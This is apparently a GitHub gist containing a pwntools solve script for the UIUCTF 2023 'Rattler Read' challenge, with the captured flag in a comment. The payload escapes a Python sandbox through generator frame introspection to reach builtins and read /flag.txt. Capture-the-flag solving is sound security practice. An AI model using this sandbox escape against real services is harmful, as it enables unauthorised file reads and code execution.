Last active
August 12, 2024 16:20
-
-
Save lebr0nli/c2fc617390451f0e5a4c31c87d8720b6 to your computer and use it in GitHub Desktop.
UIUCTF 2023 - Rattler Read
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
with remote("rattler-read.chal.uiuc.tf", 1337) as io: | |
payload = ( | |
""" | |
g=(print(g.gi_frame.f_back.f_back.f_builtins['open']('/flag.txt').read())for x in(0,)) | |
for x in g:0 | |
""".strip() | |
.replace("\n", "\r") | |
.encode() | |
) | |
io.sendlineafter(b"> ", payload) | |
io.interactive() | |
# uiuctf{damn_1_8te_my_ta1l_ag41n} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment